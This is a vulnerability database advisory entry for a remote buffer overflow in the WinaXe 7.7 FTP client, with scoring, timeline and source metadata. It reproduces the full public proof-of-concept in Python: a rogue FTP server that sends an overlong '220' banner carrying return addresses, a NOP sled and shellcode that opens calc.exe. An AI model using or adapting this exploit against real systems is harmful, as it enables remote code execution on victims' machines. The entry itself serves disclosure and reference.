CVSS Meta Temp Score | Current Exploit Price (≈) | CTI Interest Score |
---|---|---|
6.6 | $0-$5k | 0.00 |
A vulnerability was found in WinaXe 7.7. It has been declared as critical. Affected by this vulnerability is an unknown functionality of the component FTP Client. The manipulation with an unknown input leads to a memory corruption vulnerability. The CWE definition for the vulnerability is CWE-119. The product performs operations on a memory buffer, but it can read from or write to a memory location that is outside of the intended boundary of the buffer. As an impact it is known to affect confidentiality, integrity, and availability.
The weakness was presented 11/05/2016 by John Page (hyp3rlinx) as WinaXe v7.7 FTP 'Server Ready' CMD Remote Buffer Overflow as not defined mailinglist post (Full-Disclosure). It is possible to read the advisory at seclists.org. The attack can be launched remotely. The exploitation doesn't need any form of authentication. Technical details are unknown but a public exploit is available.
A public exploit has been developed by John Page and been published immediately after the advisory. It is possible to download the exploit at seclists.org. It is declared as proof-of-concept. The code used by the exploit is:
import socket,struct #WinaXe v7.7 FTP Client 'Service Ready' Command Buffer Overflow Exploit #Discovery hyp3rlinx #ISR: ApparitionSec #hyp3rlinx.altervista.org #shellcode to pop calc.exe Windows 7 SP1 sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B" "\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B" "\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31" "\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA" "\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14" "\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65" "\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC") eip=struct.pack('<L',0x68084A6F) #POP ECX RET jmpesp=struct.pack('<L',0x68017296) #JMP ESP #We will do POP ECX RET and place a JMP ESP address at the RET address that will jump to shellcode. payload="A"*2061+eip+jmpesp+"\x90"*10+sc+"\x90"*20 #Server Ready '220' Exploit port = 21 s = socket.socket() host = '127.0.0.1' s.bind((host, port)) s.listen(5) print 'Evil FTPServer listening...' while True: conn, addr = s.accept() conn.send('220'+payload+'\r\n') conn.close()
There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.
Product
Name
Version
CPE 2.3
CPE 2.2
CVSSv4
VulDB CVSS-B Score: 🔍VulDB CVSS-BT Score: 🔍
VulDB Vector: 🔍
VulDB Reliability: 🔍
CVSSv3
VulDB Meta Base Score: 7.3VulDB Meta Temp Score: 6.6
VulDB Base Score: 7.3
VulDB Temp Score: 6.6
VulDB Vector: 🔍
VulDB Reliability: 🔍
CVSSv2
AV | AC | Au | C | I | A |
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💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
Vector | Complexity | Authentication | Confidentiality | Integrity | Availability |
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unlock | unlock | unlock | unlock | unlock | unlock |
unlock | unlock | unlock | unlock | unlock | unlock |
unlock | unlock | unlock | unlock | unlock | unlock |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍
Exploiting
Class: Memory corruptionCWE: CWE-119
CAPEC: 🔍
ATT&CK: 🔍
Local: No
Remote: Yes
Availability: 🔍
Access: Public
Status: Proof-of-Concept
Author: John Page
Download: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍
0-Day | unlock | unlock | unlock | unlock |
---|---|---|---|---|
Today | unlock | unlock | unlock | unlock |
Threat Intelligence
Interest: 🔍Active Actors: 🔍
Active APT Groups: 🔍
Countermeasures
Recommended: no mitigation knownStatus: 🔍
0-Day Time: 🔍
Exploit Delay Time: 🔍
Timeline
11/05/2016 🔍11/05/2016 🔍
11/07/2016 🔍
07/25/2019 🔍
Sources
Advisory: WinaXe v7.7 FTP 'Server Ready' CMD Remote Buffer OverflowResearcher: John Page (hyp3rlinx)
Status: Not defined
scip Labs: https://www.scip.ch/en/?labs.20161013
Entry
Created: 11/07/2016 17:14Updated: 07/25/2019 08:17
Changes: 11/07/2016 17:14 (44), 07/25/2019 08:17 (1)
Complete: 🔍
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